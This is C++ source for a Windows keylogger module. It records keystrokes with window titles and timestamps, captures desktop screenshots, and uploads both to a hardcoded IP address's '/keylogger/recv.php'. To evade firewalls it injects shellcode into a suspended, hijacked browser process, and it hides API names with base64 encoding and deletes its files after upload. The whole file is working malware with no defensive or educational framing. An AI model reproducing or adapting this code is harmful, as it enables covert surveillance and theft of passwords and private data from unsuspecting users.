#include "log.h"
#include <Windows.h>
#include <GDIPlus.h>
#include <WinInet.h>
#include "base64.h"
#include <Shlwapi.h>

using namespace Gdiplus;




BOOL (WINAPI *p_DeleteFile)(
    LPCTSTR lpFileName
);

DWORD (WINAPI *p_GetEnvironmentVariable)(
  LPCTSTR lpName,
  LPTSTR lpBuffer,
  DWORD nSize
);





void UploadFile(char* filename,char* server,char* script,char* f_name,HANDLE hProc)
{
char* buffer;
	ifstream f(filename,ios::binary);
	f.seekg(0,ios::end);
	int size=f.tellg();
	f.seekg(0,ios::beg);
	buffer=(char*)malloc(size);
	int i=0;
	while(i<size)
	{
	buffer[i]=f.get();
	i++;
	}
	f.close();

	string buf=base64_encode((const unsigned char*)buffer,size);
	string hdrs = "Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858"; 
	string frmdata = "-----------------------------7d82751e2bc0858\nContent-Disposition: form-data; name=\"upl\"; filename=\"";
	frmdata+=f_name;
	frmdata+="\"\nContent-Type: application/octet-stream\nContent-Transfer-Encoding: base64\n\n";
	frmdata+=buf;
	frmdata+="\n-----------------------------7d82751e2bc0858--";

	
	char* load=(char*)VirtualAllocEx(hProc,0,strlen("wininet.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	DWORD n_wrt;
	WriteProcessMemory(hProc,load,"wininet.dll",strlen("wininet.dll"),&n_wrt);
	HANDLE hThr=CreateRemoteThread(hProc,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),load,0,&n_wrt);
	WaitForSingleObject(hThr,INFINITE);
	DWORD IB;
	GetExitCodeThread(hThr,&IB);

	char* agent=(char*)VirtualAllocEx(hProc,0,6,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,agent,"Agent",6,&n_wrt);
	char* host=(char*)VirtualAllocEx(hProc,0,strlen(server),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,host,server,strlen(server),&n_wrt);
	char* method=(char*)VirtualAllocEx(hProc,0,strlen("POST"),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,method,"POST",strlen("POST"),&n_wrt);
	char* plik=(char*)VirtualAllocEx(hProc,0,strlen(script),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,plik,script,strlen(script),&n_wrt);

	DWORD Open=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"InternetOpenA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
	DWORD Con=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"InternetConnectA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
	DWORD Req=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"HttpOpenRequestA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
	DWORD Req_s=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"HttpSendRequestA")-(DWORD)GetModuleHandle("wininet.dll")+IB;

	DWORD h_size=hdrs.length();
	DWORD d_size=frmdata.length();
	char* head=(char*)VirtualAllocEx(hProc,0,h_size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	char* data=(char*)VirtualAllocEx(hProc,0,d_size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,head,hdrs.c_str(),h_size,&n_wrt);
	WriteProcessMemory(hProc,data,frmdata.c_str(),d_size,&n_wrt);
	
	char shellcode[]="\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x68\xDE\xAD\xC0\xDE\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x6A\x01\x6A\x00\x6A\x03\x6A\x00\x6A\x00\x6A\x50\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x6A\x01\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x33\xC0\xC3";


memcpy((char*)(shellcode+9),&agent,4);
memcpy((char*)(shellcode+14),&Open,4);
memcpy((char*)(shellcode+33),&host,4);
memcpy((char*)(shellcode+39),&Con,4);
memcpy((char*)(shellcode+56),&plik,4);
memcpy((char*)(shellcode+61),&method,4);
memcpy((char*)(shellcode+67),&Req,4);
memcpy((char*)(shellcode+74),&d_size,4);
memcpy((char*)(shellcode+79),&data,4);
memcpy((char*)(shellcode+84),&h_size,4);
memcpy((char*)(shellcode+89),&head,4);
memcpy((char*)(shellcode+95),&Req_s,4);

char* Sh=(char*)VirtualAllocEx(hProc,0,sizeof(shellcode),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,Sh,shellcode,sizeof(shellcode),&n_wrt);
hThr=CreateRemoteThread(hProc,0,0,(LPTHREAD_START_ROUTINE)Sh,0,0,0);
WaitForSingleObject(hThr,INFINITE);
GetExitCodeThread(hThr,&IB);

VirtualFreeEx(hProc,agent,0,MEM_RELEASE);
VirtualFreeEx(hProc,method,0,MEM_RELEASE);
VirtualFreeEx(hProc,host,0,MEM_RELEASE);
VirtualFreeEx(hProc,plik,0,MEM_RELEASE);
VirtualFreeEx(hProc,head,0,MEM_RELEASE);
VirtualFreeEx(hProc,data,0,MEM_RELEASE);
}


HANDLE MakeZombieProcess()
{
	char def_brow[MAX_PATH];
	DWORD out_size=MAX_PATH;
	AssocQueryString(0, ASSOCSTR_EXECUTABLE,"http", "open", def_brow, &out_size);
	STARTUPINFO st={0};
	PROCESS_INFORMATION pi={0};
	CreateProcess(def_brow,NULL,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&st,&pi);
	CONTEXT cx;
	cx.ContextFlags=CONTEXT_ALL;
	GetThreadContext(pi.hThread,&cx);

	DWORD old;
	VirtualProtectEx(pi.hProcess,(LPVOID)cx.Eax,2,PAGE_EXECUTE_READWRITE,&old);
	WriteProcessMemory(pi.hProcess,(LPVOID)cx.Eax,"\xEB\xFE",2,&old);
	ResumeThread(pi.hThread);
	return pi.hProcess;
}

void FWB_Upload(char* input,char* host,char* script,char* name)
{
	HANDLE hProc=MakeZombieProcess();
	UploadFile(input,host,script,name,hProc);
	TerminateProcess(hProc,0x0);
	return;
}


void make_screenshot(string file)
{
ULONG_PTR	gdiplustoken;
GdiplusStartupInput gdiplusstartupinput;
GdiplusStartupOutput gdiplusstartupoutput;
gdiplusstartupinput.SuppressBackgroundThread = true;
GdiplusStartup (& gdiplustoken, & gdiplusstartupinput, & gdiplusstartupoutput);//start GDI+

HDC dc=GetDC(GetDesktopWindow());//Get Desktop Context
HDC dc2 = CreateCompatibleDC(dc);//Copy Context

RECT rcOkno;
GetClientRect(GetDesktopWindow(), &rcOkno);//Get desktop size
int w=rcOkno.right-rcOkno.left;//width
int h=rcOkno.bottom-rcOkno.top;//height
HBITMAP hbitmap=CreateCompatibleBitmap(dc,w,h);//Create bitmap
HBITMAP holdbitmap =(HBITMAP) SelectObject(dc2, hbitmap);
BitBlt(dc2, 0, 0, w, h, dc, 0, 0, SRCCOPY);//Copy pixels from pulpit to bitmap

Bitmap* bm=new Bitmap(hbitmap,NULL);//Create GDI+ bitmap

UINT num;
UINT size;
ImageCodecInfo *imagecodecinfo;
GetImageEncodersSize (&num, &size);//get count of codecs
imagecodecinfo = (ImageCodecInfo*) (malloc (size));
GetImageEncoders (num, size,  imagecodecinfo);//get codecs

CLSID clsidEncoder;

for (int i = 0; i < num; i ++)
{
	  if (wcscmp (imagecodecinfo[i].MimeType, L"image/jpeg") == 0)
		  clsidEncoder = imagecodecinfo[i].Clsid;//get jpeg codec id
}
free (imagecodecinfo);

wstring ws;
ws.assign(file.begin(),file.end());//string->wstring
bm->Save(ws.c_str(),& clsidEncoder);//save in jpeg format
SelectObject(dc2, holdbitmap);//Release objects
DeleteObject(dc2);
DeleteObject(hbitmap);

ReleaseDC(GetDesktopWindow(),dc);
GdiplusShutdown (gdiplustoken);
}


HWND h_org=NULL;
std::string w_name()
{
	HWND h_for=GetForegroundWindow();//Get active window hwnd
	if(h_for!=h_org)
	{
		h_org=h_for;//set active window
		char name[260];
		GetWindowText(h_org,name,260);//get window name
		std::string tm;
		SYSTEMTIME st;
		GetSystemTime(&st);//get time
		char tt[100];
		sprintf(tt,"%.4d-%.2d-%.2d %.2d:%.2d:%.2d",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
		tm=tt;//time
		tm+="  |  ------>>>>>>   ";
		tm+=name;//windows name
		tm+="   <<<<<<-----";
		return tm;//return string
	}
	return "";//return empty string
}


logg::logg()
{
	buffer="";
	buffer.reserve(1024);
	string wininet_dll=base64_decode("d2luaW5ldC5kbGw=");
	string kernel32_dll=base64_decode("a2VybmVsMzIuZGxs");


	

	p_DeleteFile=(BOOL (__stdcall *)(LPCTSTR))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("RGVsZXRlRmlsZUE=").c_str());
	p_GetEnvironmentVariable=(DWORD (__stdcall *)(LPCTSTR,LPTSTR,DWORD))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("R2V0RW52aXJvbm1lbnRWYXJpYWJsZUE=").c_str());



	SYSTEMTIME st;
		GetSystemTime(&st);
		char tt[100];
		sprintf(tt,"log_%.4d%.2d%.2d%.2d%.2d%.2d.txt",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
	char pa[260];
	p_GetEnvironmentVariable(base64_decode("VVNFUlBST0ZJTEU=").c_str(),pa,260);//USERPROFILE
	f_path=pa;
	f_path+=base64_decode("XGtleWxvZ2dlclw=");
	f_log=f_path;
	f_name=tt;
	f_log+=f_name;
}

string logg::GetPath()
{
	return f_path;
}

void logg::AppendChar(char ch)
{
std::string w_n=w_name();
if(w_n.length()>1)
{
	buffer="\n\n";
	buffer+=w_n;
	buffer+="\n";
	buffer+=ch;
}
else
{
buffer=ch;
}
SaveLog(f_log);
}

void logg::AppendString(string str)
{
std::string w_n=w_name();
if(w_n.length()>1)
{
	buffer="\n\n";
	buffer+=w_n;
	buffer+="\n";
	buffer+=str;
}
else
{
buffer=str;
}

SaveLog(f_log);
}

void logg::FlushBuffer()
{
	buffer.erase();
}

void logg::SaveLog(string name)
{
	ofstream of(name,ios::app);
	of.write(buffer.c_str(),buffer.length());
	of.close();
}

void logg::SendLog()
{
	

	SYSTEMTIME st;
	GetSystemTime(&st);
	char tt[100];
	char snap[100];
	sprintf(tt,"log_%.4d%.2d%.2d%.2d%.2d%.2d.txt",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
	sprintf(snap,"snap_%.4d%.2d%.2d%.2d%.2d%.2d.jpg",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
		
	string f_snap=f_path;
	f_snap+=snap;
	make_screenshot(f_snap);
	
FWB_Upload((char*)f_log.c_str(),"178.63.220.15","/keylogger/recv.php",(char*)f_name.c_str());
FWB_Upload((char*)f_snap.c_str(),"178.63.220.15","/keylogger/recv.php",(char*)snap);



	p_DeleteFile(f_snap.c_str());
	p_DeleteFile(f_log.c_str());

	f_name=tt;
	f_log=f_path;
	f_log+=f_name;
	
}